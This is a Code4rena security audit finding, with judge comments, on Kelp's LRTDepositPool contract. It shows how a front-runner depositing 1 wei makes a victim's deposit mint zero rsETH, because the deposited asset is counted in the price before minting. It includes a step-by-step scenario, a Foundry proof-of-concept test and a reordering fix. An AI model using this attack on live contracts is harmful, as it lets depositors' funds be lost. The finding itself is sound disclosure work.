Depositor may be grief attacked and no rsETH will be minted

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L136-L141

Vulnerability details

Impact

Depositor may be grief attacked and no rsETH will be minted.

Proof of Concept

Depositor can mint rsETH by depositing asset through depositAsset(...) function.
Asset will be transferred from depositor to the protocol:

        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }

Then rsETH will be minted through _mintRsETH(...) function:

        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

The amount of rsETH to be minted is calculated is determined by rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(), here lrtOracle.getRSETHPrice() returns the rsETH price:

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);


            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;


            unchecked {
                ++asset_idx;
            }
        }


        return totalETHInPool / rsEthSupply;

As we can see from above, the rsETH price is determined by the asset owned by the protocol and the total supply of rsETH. However, as the asset will be transferred to protocol before minting, the depositor may not receive a correct amount of rsETH, and even worse, depositor can be grief attacked and receive no rsETH at all.
Imagine the following scenario:

1. Alice submits a transaction to mint rsETH by depositing 1 ether stETH (price is 1e18);
2. Bob front-runs Alice's transaction and deposits 1 wei stETH;
3. Because Bob is the first depositor, 1 wei rsETH will be minted to Bob, so totalETHInPool is 1 and rsEthSupply is 1;
4. Alice's transaction is executing, because 1 ether is transferred before minting, so totalETHInPool is 1e18 + 1 and rsEthSupply is 1, rsETH price is 1e18 * (1e18 + 1);
5. rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice() = (1e18 * 1e18) / (1e18 * (1e18 + 1)) = 0;
6. Alice is thus grief attacked and received no rsETH.

Please see below test case:

function test_AuditDepositAsset() external {
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTOracle lrtOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy(
            address(lrtOracleImpl),
            address(proxyAdmin),
            ""
        );
        LRTOracle lrtOracle = LRTOracle(address(lrtOracleProxy));
        lrtOracle.initialize(address(lrtConfig));

        vm.startPrank(manager);
        lrtOracle.updatePriceOracleFor(address(stETH), address(new MockPriceOracle()));
        lrtOracle.updatePriceOracleFor(address(cbETH), address(new MockPriceOracle()));
        lrtOracle.updatePriceOracleFor(address(rETH), address(new MockPriceOracle()));
        vm.stopPrank();

        vm.startPrank(admin);
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracle));
        vm.stopPrank();


        vm.startPrank(bob);
        rETH.approve(address(lrtDepositPool), 1);
        lrtDepositPool.depositAsset(rETHAddress, 1);
        uint256 bobBalance = rseth.balanceOf(address(bob));
        console.log(bobBalance);
        vm.stopPrank();

        vm.startPrank(alice);

        rETH.approve(address(lrtDepositPool), 1 ether);
        // lrtDepositPool.depositAsset(rETHAddress, 2 ether);
        lrtDepositPool.depositAsset(rETHAddress, 1 ether);

        uint256 aliceBalance = rseth.balanceOf(address(alice));
        assertEq(aliceBalance, 0);

        vm.stopPrank();
    }

Tools Used

Manual Review

Recommended Mitigation Steps

When depositing, rsETH should be minted before transferring asset.

+       // interactions
+       uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }


-       // interactions
-       uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

Assessed type

Math

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #42

[c4-judge]

fatherGoose1 marked the issue as not a duplicate

[fatherGoose1]

Doesn't describe the standard donation attack. Instead highlights the issue with using the deposited funds in the share calculation, sharing impact with #62.

[c4-judge]

fatherGoose1 marked the issue as duplicate of #62

[c4-judge]

fatherGoose1 marked the issue as satisfactory

[c4-judge]

fatherGoose1 changed the severity to 2 (Med Risk)

[c4-judge]

fatherGoose1 changed the severity to 3 (High Risk)